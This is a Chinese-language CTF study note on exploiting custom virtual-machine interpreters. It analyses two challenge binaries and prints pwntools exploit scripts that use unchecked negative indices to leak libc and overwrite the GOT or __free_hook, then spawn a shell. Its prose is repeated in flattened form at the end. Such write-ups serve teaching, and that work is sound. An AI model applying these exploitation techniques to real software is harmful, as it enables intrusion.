VMpwn 学习笔记
字数 1735 2025-08-24 20:49:22

VMpwn 学习笔记:虚拟机保护与漏洞利用

1. 虚拟机保护基础概念

虚拟机保护是一种软件保护技术,通过模拟一个虚拟的CPU和指令集来执行代码,使得逆向分析变得困难。在二进制安全领域,理解虚拟机保护对于漏洞挖掘和利用至关重要。

1.1 虚拟机核心组件

  • PC (Program Counter): 程序计数器,存放下一条要执行的指令的内存地址
  • SP (Stack Pointer): 栈指针寄存器,始终指向当前栈顶
  • BP (Base Pointer): 基址指针,用于函数调用时定位栈帧
  • AX (General Register): 通用寄存器,用于存放指令执行结果

1.2 虚拟机指令集

虚拟机通常会定义一个枚举类型来表示支持的指令,例如:

  • 数据传输指令: MOV, LOAD, SAVE
  • 算术运算指令: ADD, SUB, MUL, DIV
  • 栈操作指令: PUSH, POP
  • 控制流指令: JMP, CALL, RET

2. 虚拟机Pwn题目分析

2.1 CISC 2019 华东南 Pwn Virtual

程序结构分析

  1. 初始化阶段:

    • malloc_all函数记录输入的不同段起始地址和参数个数
    • store函数中的move函数将输入保存到对应chunk中
  2. 指令处理:

    • 输入name和instruction
    • instruction以\n\r\t为分隔符被分割成多组指令
    • 支持的指令: push, pop, add, sub, mul, div, load, save
  3. 关键函数:

    • ins_stack: 将输入的instruction转换为虚拟机指令码
    • num_stack: 为栈上布置参数
    • mov: 将指令或数据移动到指定位置

漏洞分析

程序未对数组下标进行边界检查,导致可以通过负数索引实现越界读写。

利用思路

  1. 利用越界读写泄露libc地址
  2. 修改GOT表中函数指针(如puts)为system或one_gadget
  3. 最终获取shell

利用代码示例

from pwn import *
context.log_level = 'debug'

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def d(s=''):
    gdb.attach(p, s)

p.sendlineafter('name: \n', '/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction: \n', ins)

offset = -(libc.sym['puts'] - libc.sym['system'])
data_addr = 0x000000000404088
data = [data_addr, -3, -12, offset, -12]

payload = ""
for i in data:
    payload += str(i) + " "

p.sendlineafter('data: \n', payload)
p.interactive()

2.2 Ogeek 线下Pwn

程序结构分析

  1. 初始化阶段:

    • 初始化基础值和memory数组
    • running = 1进入主循环
  2. 指令执行流程:

    • fetch(): 从memory数组中获取指令
    • execute(): 执行指令操作
  3. 指令格式:

    • 4字节指令分为4部分: 操作指令 | 参数c | 参数b | 参数a
  4. 指令集:

    • 0x10: reg[c] = memory
    • 0x20: reg[c] = memory == 0
    • 0x30: reg[c] = ::memory[reg[a]]
    • 0x40: ::memory[reg[a]] = reg[c] (存在任意写)
    • 0x50: stack[reg[13]++] = reg[c]
    • 0x60: reg[c] = stack[--reg[13]] (存在任意读)
    • 0x70-0xD0: 各种算术运算
    • 0xE0/0xFF: 停止运行

漏洞分析

未验证数组偏移量,可通过构造负数的reg13实现任意读写。

利用思路

  1. 构造负SP实现任意读,泄露libc地址
  2. 修改comment[0]指针指向__free_hook-8
  3. 写入"/bin/sh\x00"+p64(system)
  4. 触发free(comment[0])执行system("/bin/sh")

利用代码示例

from pwn import *
context.log_level = 'debug'

exe = './ovm'
elf = ELF(exe)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def d(s=''):
    gdb.attach(p, s)

def pwn():
    read_offset = libc.sym['read']
    system_offset = libc.sym['system']
    __free_hook_offset = libc.sym['__free_hook']
    
    offset_free_hook_2_read = __free_hook_offset - read_offset
    offset_system_2_read = system_offset - read_offset
    
    code = [
        0x100d0001,    # reg[13] = 1
        0x10010008,    # reg[0] = 8
        0xc00d0d01,    # reg[13] = 1<<8 => 0x100
        0xc00d0d01,    # reg[13] = 0x100<<8 => 0x10000
        0x1001003e,    # reg[1] = 0x3e
        0x700d0d01,    # reg[13] = reg[13] + reg[1] = 0x1003e
        0x10010000,    # reg[1] = 0
        0x800D010D,    # reg[13] = reg[1] - reg[13] = 0 - 0x1003e = 0xffc2 (=-0x3e)
        0x60030000,    # reg[3] = read_got_high_int
        0x60040000,    # reg[4] = read_got_low_int
        0x10020008,    # reg[2] = 8
        # ... 其他指令 ...
        0xff000000
    ]
    
    p.sendlineafter("PCPC: ", '0')
    p.sendlineafter("SP: ", '0')
    p.sendlineafter("CODE SIZE: ", str(len(code)))
    
    for i in code:
        sleep(0.1)
        p.sendline(str(i))
    
    # 接收处理泄露的地址
    p.recvuntil("R3: ")
    free_hook = int(p.recv(4), 16) << 32
    p.recvuntil("R4: ")
    free_hook += int(p.recv(8), 16) + 8
    
    libc_base = free_hook - __free_hook_offset
    system = libc.sym['system'] + libc_base
    
    p.sendlineafter("HOW DO YOU FEEL AT OVM?", '/bin/sh\x00' + p64(system))
    p.interactive()

if __name__ == '__main__':
    p = process(exe)
    pwn()

3. 虚拟机Pwn通用技巧

  1. 识别虚拟机结构:

    • 查找大量switch/case或分支结构
    • 识别寄存器模拟和指令分发逻辑
  2. 常见漏洞点:

    • 寄存器/内存访问无边界检查
    • 指令解析逻辑缺陷
    • 栈操作未验证SP范围
  3. 利用方法:

    • 通过越界读写泄露关键地址
    • 修改GOT表或hook函数指针
    • 构造ROP链或直接执行shellcode
  4. 调试技巧:

    • 在指令分发关键点下断点
    • 监控寄存器状态变化
    • 跟踪内存读写操作

4. 总结

虚拟机保护逆向分析需要深入理解虚拟架构的设计和实现,重点关注指令解析、寄存器管理和内存访问等关键组件。漏洞通常源于边界检查缺失或逻辑错误,利用时需要巧妙构造指令序列实现内存读写原语,最终通过修改控制流获取权限。

VMpwn 学习笔记:虚拟机保护与漏洞利用 1. 虚拟机保护基础概念 虚拟机保护是一种软件保护技术,通过模拟一个虚拟的CPU和指令集来执行代码,使得逆向分析变得困难。在二进制安全领域,理解虚拟机保护对于漏洞挖掘和利用至关重要。 1.1 虚拟机核心组件 PC (Program Counter) : 程序计数器,存放下一条要执行的指令的内存地址 SP (Stack Pointer) : 栈指针寄存器,始终指向当前栈顶 BP (Base Pointer) : 基址指针,用于函数调用时定位栈帧 AX (General Register) : 通用寄存器,用于存放指令执行结果 1.2 虚拟机指令集 虚拟机通常会定义一个枚举类型来表示支持的指令,例如: 数据传输指令: MOV, LOAD, SAVE 算术运算指令: ADD, SUB, MUL, DIV 栈操作指令: PUSH, POP 控制流指令: JMP, CALL, RET 2. 虚拟机Pwn题目分析 2.1 CISC 2019 华东南 Pwn Virtual 程序结构分析 初始化阶段 : malloc_all 函数记录输入的不同段起始地址和参数个数 store 函数中的 move 函数将输入保存到对应chunk中 指令处理 : 输入name和instruction instruction以 \n\r\t 为分隔符被分割成多组指令 支持的指令: push, pop, add, sub, mul, div, load, save 关键函数 : ins_stack : 将输入的instruction转换为虚拟机指令码 num_stack : 为栈上布置参数 mov : 将指令或数据移动到指定位置 漏洞分析 程序未对数组下标进行边界检查,导致可以通过负数索引实现越界读写。 利用思路 利用越界读写泄露libc地址 修改GOT表中函数指针(如puts)为system或one_ gadget 最终获取shell 利用代码示例 2.2 Ogeek 线下Pwn 程序结构分析 初始化阶段 : 初始化基础值和memory数组 running = 1 进入主循环 指令执行流程 : fetch() : 从memory数组中获取指令 execute() : 执行指令操作 指令格式 : 4字节指令分为4部分: 操作指令 | 参数c | 参数b | 参数a 指令集 : 0x10: reg[ c ] = memory 0x20: reg[ c ] = memory == 0 0x30: reg[ c] = ::memory[ reg[ a] ] 0x40: ::memory[ reg[ a]] = reg[ c ] (存在任意写) 0x50: stack[ reg[ 13]++] = reg[ c ] 0x60: reg[ c] = stack[ --reg[ 13] ] (存在任意读) 0x70-0xD0: 各种算术运算 0xE0/0xFF: 停止运行 漏洞分析 未验证数组偏移量,可通过构造负数的reg 13 实现任意读写。 利用思路 构造负SP实现任意读,泄露libc地址 修改comment[ 0]指针指向__ free_ hook-8 写入"/bin/sh\x00"+p64(system) 触发free(comment[ 0 ])执行system("/bin/sh") 利用代码示例 3. 虚拟机Pwn通用技巧 识别虚拟机结构 : 查找大量switch/case或分支结构 识别寄存器模拟和指令分发逻辑 常见漏洞点 : 寄存器/内存访问无边界检查 指令解析逻辑缺陷 栈操作未验证SP范围 利用方法 : 通过越界读写泄露关键地址 修改GOT表或hook函数指针 构造ROP链或直接执行shellcode 调试技巧 : 在指令分发关键点下断点 监控寄存器状态变化 跟踪内存读写操作 4. 总结 虚拟机保护逆向分析需要深入理解虚拟架构的设计和实现,重点关注指令解析、寄存器管理和内存访问等关键组件。漏洞通常源于边界检查缺失或逻辑错误,利用时需要巧妙构造指令序列实现内存读写原语,最终通过修改控制流获取权限。